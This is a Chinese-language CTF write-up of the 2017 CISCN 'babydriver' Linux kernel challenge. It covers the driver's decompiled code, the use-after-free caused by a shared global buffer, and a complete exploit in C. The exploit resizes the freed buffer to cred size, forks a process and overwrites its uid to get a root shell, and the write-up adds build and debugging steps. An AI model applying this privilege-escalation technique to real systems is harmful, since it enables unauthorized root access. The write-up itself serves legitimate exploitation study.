[kernel pwn]babydriver
参考文章:
拿到题目如何操作
一般会有三个文件:
boot.sh : 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
bzImage: kernel binary
rootfs.cpio: 文件系统映像(根文件的映像)
所以先新建一个文件夹,然后解压文件系统映像
1 2 3 4 5 6 7 8 9 mkdir fs cd fscp ../rootfs.cpio ./ mv rootfs.cpio rootfs.cpio.gz gunzip rootfs.cpio.gz cpio -idmv < rootfs.cpio // 解包完成,可以向目录中添加文件find . | cpio -o --format=newc > ../rootfs.cpio // 重新打包,不需要压缩也可以
然后查看init文件的内容,可以知道babydriver.ko就是我们需要分析的漏洞驱动,将它用ida打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/consoleexec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc /uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
分析babydriver.ko
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 int __fastcall babyrelease (inode *inode, file *filp) { _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n" ); return 0 ; } int __fastcall babyopen (inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 37748928L L, 64L L); babydev_struct.device_buf_len = 64L L; printk("device open\n" ); return 0 ; } __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 result; _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 65537 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928L L); babydev_struct.device_buf_len = v4; printk("alloc done\n" ); result = 0L L; } else { printk(&unk_2EB); result = -22L L; } return result; } ssize_t __fastcall babywrite (file *filp, const char *buffer , size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer ); if ( !babydev_struct.device_buf ) return -1L L; result = -2L L; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); result = v6; } return result; } ssize_t __fastcall babyread (file *filp, char *buffer , size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer ); if ( !babydev_struct.device_buf ) return -1L L; result = -2L L; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer ); result = v6; } return result; }
关于copy_from_user和copy_to_user
参考:
这里用copy_from_user举了例子:
在学习Linux内核驱动的时候,经常会碰到copy_from_user和copy_to_user这两个函数,设备驱动程序中的ioctl函数就经常会用到。这两个函数负责在用户空间和内核空间传递数据。首先看看它们的定义(linux/include/asm-arm/uaccess.h),先看copy_from_user:
1 2 3 4 5 6 7 8 static inline unsigned long copy_from_user(void * to , const void __user * from , unsigned long n ) { if (access_ok(VERIFY_READ, from , n ) ) n = __arch_copy_from_user(to , from , n ) ; else memzero(to , n); return n; }
先看函数的三个参数:*to是内核空间的指针,*from是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。如果成功执行拷贝操作,则返回0,否则返回还没有完成拷贝的字节数。
这个函数从结构上来分析,其实都可以分为两个部分:
首先检查用户空间的地址指针是否有效;
调用__arch_copy_from_user函数。
回归正题,先说利用思路:
由于baby_struct.device是全局的,因此只能存在一个,所以当我们open 2个设备的时候,第二次open的会覆盖第一次的,我们再释放第一次打开的,这时候第二次打开的设备也会被释放,就存在UAF,然后通过ioctl改变大小,使得和cred结构大小一样再fork一个进程,它的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,达到getshell。
为什么控制cred结构体就能提权?
一个进程的权限是由cred结构体中的uid决定的,每个进程中都有一个cred结构体,并且保存了该进程的权限信息,如果能修改cred信息,就可以进行提权。
为什么会覆盖形成UAF?
主要是关于slub分配器的了解,相同大小的内存块放在一起。
于是思路就是:现在有一个UAF,将某个进程的cred结构体放进这个UAF内存空间,然后就可以控制这个cred结构体。
首先我们需要知道cred结构体的大小,才能控制该结构体
方法一是查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred { atomic_t usage; 4 #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; 4 kgid_t gid; 4 kuid_t suid; 4 kgid_t sgid; 4 kuid_t euid; 4 kgid_t egid; 4 kuid_t fsuid; 4 kgid_t fsgid; 4 unsigned securebits; 4 kernel_cap_t cap_inheritable; 4 kernel_cap_t cap_permitted; 4 kernel_cap_t cap_effective; 4 kernel_cap_t cap_bset; 4 kernel_cap_t cap_ambient; 4 #ifdef CONFIG_KEYS unsigned char jit_keyring; 1 struct key __rcu *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #endif #ifdef CONFIG_SECURITY void *security; 8 #endif struct user_struct *user ; struct user_namespace *user_ns ; struct group_info *group_info ; struct rcu_head rcu ; };
方法二是自己写个简单modules然后printf一下sizeof(struct cred)就能知道了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/cred.h> MODULE_LICENSE("Dual BSD/GPL" ); struct cred c1 ;static int hello_init (void ) { printk("<1> Hello world!\n" ); printk("size of cred : %d \n" ,sizeof (c1)); return 0 ; } static void hello_exit (void ) { printk("<1> Bye, cruel world\n" ); } module_init(hello_init); module_exit(hello_exit);
这里内核模块编译,如果出现缺少Linux kernel头文件
To install just the headers in Ubuntu:
sudo apt-get install linux-headers-$(uname -r)
To install the entire Linux kernel source in Ubuntu:
sudo apt-get install linux-source
Note that you should use the kernel headers that match the kernel you are running.
====================================
如何编译内核模块:
编写MakeFile :
1 2 3 4 5 6 7 8 9 10 11 12 obj-m += calc_cred.o KDIR =/usr/src/linux-headers-$(shell uname -r) all: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.o *.ko *.mod.* *.symvers *.order
然后命令行执行:
make
sudo insmod calc_cred.ko
dmesg
sudo rmmod calc_cred
make clean
====================================
然后根据上面的思路写出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 //gcc exp .c -static -o exp #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> int main(){ int fd1 = open("/dev/babydev" ,2 ) int fd2 = open("/dev/babydev" ,2 ) ioctl(fd1,65537 ,0xa8 ) close(fd1) int pid = fork() if (pid < 0 ) { puts("[*] fork error!" ) exit (0 ) } else if (pid == 0 ) { int buf[9 ]={0 } write(fd2,buf,28 ) system("/bin/sh" ) } else { wait(NULL ) } return 0 }
编译:gcc exp.c -static -o exp
静态编译exp,并将编译好的exp放入解压的fs目录下,重新打包fs系统
find . | cpio -o --format=newc > rootfs.cpio
替换rootfs.cpio后启动程序./boot.sh
如何启动的时候提示:
1 2 Could not access KVM kernel module: No such file or directory qemu-system -x86_64: failed to initialize KVM: No such file or directory
解决方法:虚拟机关机后在虚拟机高级设置里打开关于cpu虚拟化的选项(设置->处理器->开启“虚拟化Inter VT-x/EPT”)
然后再运行一次./boot.sh
,然后运行./exploit
就getshell了。
关于调试
首先在qemu的启动内核脚本中加上-gdb tcp::1234
选项,启动./boot.sh
,
为了调试内核模块,还需要加载 驱动的 符号文件,首先在系统里面获取驱动的加载基地址
启动内核后,可以通过lsmod
查看驱动的加载基地址
1 2 / $ lsmod babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
然后gdb中加载符号文件:
1 add-symbol-file /home/ zoe/Desktop/ ctf-challenge/2017CISCN_babydriver/ babydriver.ko 0 xffffffffc0000000
然后下断点b babyioctl
,再跑./exploit
就断下来了
终于成功了!